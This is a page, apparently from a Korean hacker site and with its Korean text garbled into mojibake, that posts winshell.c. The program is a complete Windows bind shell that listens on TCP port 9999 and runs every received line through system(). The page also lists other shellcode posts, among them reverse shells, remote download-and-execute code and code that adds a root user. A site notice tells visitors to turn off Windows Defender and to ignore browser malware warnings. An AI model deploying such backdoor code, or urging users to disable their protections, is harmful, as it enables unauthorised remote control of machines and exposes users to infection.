ÇØÄ¿Áî´º½º / ÇØÄ¿´ëÇÐ

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡
¡¡

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡

°øÁö

¡¡

1. MS ¿§Áö ºê¶ó¿ìÀú¿¡¼­ÀÇ °æ°íâÀº 'À©µµ¿ì µðÆæ´õ'¸¦ ²ô½Ã¸é µË´Ï´Ù.

             'À©µµ¿ì µðÆæ´õ ²ô±â'

2. Å©·Ò ºê¶ó¿ìÀú·Î Á¢¼Ó½Ã ³ª¿À´Â ¾Ç¼ºÄÚµå °æ°íâÀº ±¸±Û Å©·ÒÀÇ ¿¡·¯, Áï ¿ÀŽ(ŽÁö ¿À·ù)À̹ǷΠ¹«½ÃÇÏ½Ã¸é µË´Ï´Ù.

3. ÀÌ »çÀÌÆ®´Â ¾ÈÀüÇÏ¸ç ±ú²ýÇÏ´Ù´Â °ÍÀ» ¾Ë·Á µå¸³´Ï´Ù.

4. ¹«°íÇÑ »çÀÌÆ®µé¿¡ ´ëÇÑ °ø·æ ±â¾÷ ºê¶ó¿ìÀúµéÀÇ ¹«Â÷º°ÀûÀÎ 'ŽÁö ¿À·ù ȾÆ÷'°¡ »ç¿ëÀÚµéÀÇ Á¤º¸ °øÀ¯ÀÇ ÀÚÀ¯¸¦ ħÇØÇÏ°í ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÀÀÇÏ¿© ÀÌ ±â¾÷µéÀ» »ó´ë·Î ¼Ò¼ÛÀ» ÁغñÇÏ°í ÀÖ½À´Ï´Ù.

¡¡

Ãâó: Matt Conover
À帣: ½©ÄÚµå
winshell.c (2KB, DN:707)
Cygnus Win32 À©µµ½©  
/*  
* With Cygnus Win32 (GNU Win32) compile with:
* gcc -mwindows -mno-cygwin -o winshell winshell.c -lwsock32
*
* Copyright (C) March 1999, Matt Conover (Shok)
* http://www.w00w00.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>

#define BUFSIZE 512

int main()
{
  int retval;
  int socklen;

  char *pktptr, pktbuf[BUFSIZE];

  WSADATA wsaData;
  SOCKET serverfd, clientfd;
  SOCKADDR_IN serversin, clientsin;

  WSAStartup(MAKEWORD(1, 1), &wsaData);

  /* ------------------------------- */

  serverfd = socket(AF_INET, SOCK_STREAM, 0);

  memset(&serversin, 0, sizeof(serversin));
  serversin.sin_family = AF_INET;
  serversin.sin_port = htons(9999);

  (void)bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin));
  (void)listen(serverfd, 0);

  while(1)
  {
     socklen = sizeof(clientsin);
     clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);

     pktptr = pktbuf;
     memset(pktbuf, 0, sizeof(pktbuf));

     /* we do this one byte at a time because it's the easiest way */
     while(1)
     {
        retval = recv(clientfd, pktptr, 1, 0);
        if (retval == SOCKET_ERROR) break;

        if (isprint(*pktptr))
        {
           pktptr += 1;
           continue;
        }  

        else *pktptr = '\0';

        system(pktbuf);
        memset(pktbuf, 0, sizeof(pktbuf)), pktptr = pktbuf;
     }


     closesocket(clientfd);
  }

  /* will never get here */
  return 0;
}

                    ´äº¯/°ü·Ã ¾²±â ¼öÁ¤/»èÁ¦     ÀÌÀü±Û ´ÙÀ½±Û    
¹®¼­¹øÈ£À帣¹®¼­¸íÃâó÷ºÎ
     ÀÌ°÷¿¡¼­´Â ¹öÆÛ¿À¹öÇ÷οì¿Í Æ÷¸Ë½ºÆ®¸µ ¹ö±×¿¡ ´ëÇÑ ¹®¼­µéÀ» Á¦°øÇÕ´Ï´Ù.
85 ½©ÄÚµå    ½©ÄÚµå »ý¼º±â ÇØÄ¿Áî´º½º   
84 ½©ÄÚµå    FTP ¿ø°Ý ´Ù¿î·Îµå/½ÇÇà ¹ÙÀεù Matt Conover  
83 ½©ÄÚµå    TCP ¹ÙÀεù ½©ÄÚµå Matt Conover   
82 ½©ÄÚµå    Cygnus Win32 À©µµ½© Matt Conover   
81 ½©ÄÚµå    À©µµ¿ë ½©ÄÚµå »ý¼º±â Matt Conover  
80 ½©ÄÚµå    À©µµ¿ë ½©ÄÚµå ¸¸µé±â ÇØÄ¿Áî´º½º  
79 ½©ÄÚµå    StrongARM/Linux ½©ÄÚµå °³¹ßÇϱâ funkysh  
78 ½©ÄÚµå    Linux x86 ½©ÄÚµå ¼Ò°³ posidron  
77 ½©ÄÚµå    µð½º¾î¼Àºí·¯ matrix  
76 ½©ÄÚµå    ¸®¹ö½º Æ÷Æ®½© ÇØÄ¿Áî´º½º   
75 ½©ÄÚµå    ÇöÀç µð·ºÅ丮¿¡¼­ sh ½ÇÇàÇÏ´Â ÄÚµå ÇØÄ¿Áî´º½º   
74 ½©ÄÚµå    ·çÆ® Ãß°¡ÇÏ´Â ¼Ò½º ÇØÄ¿Áî´º½º  

 
óÀ½ ÀÌÀü ´ÙÀ½       ¸ñ·Ï ¾²±â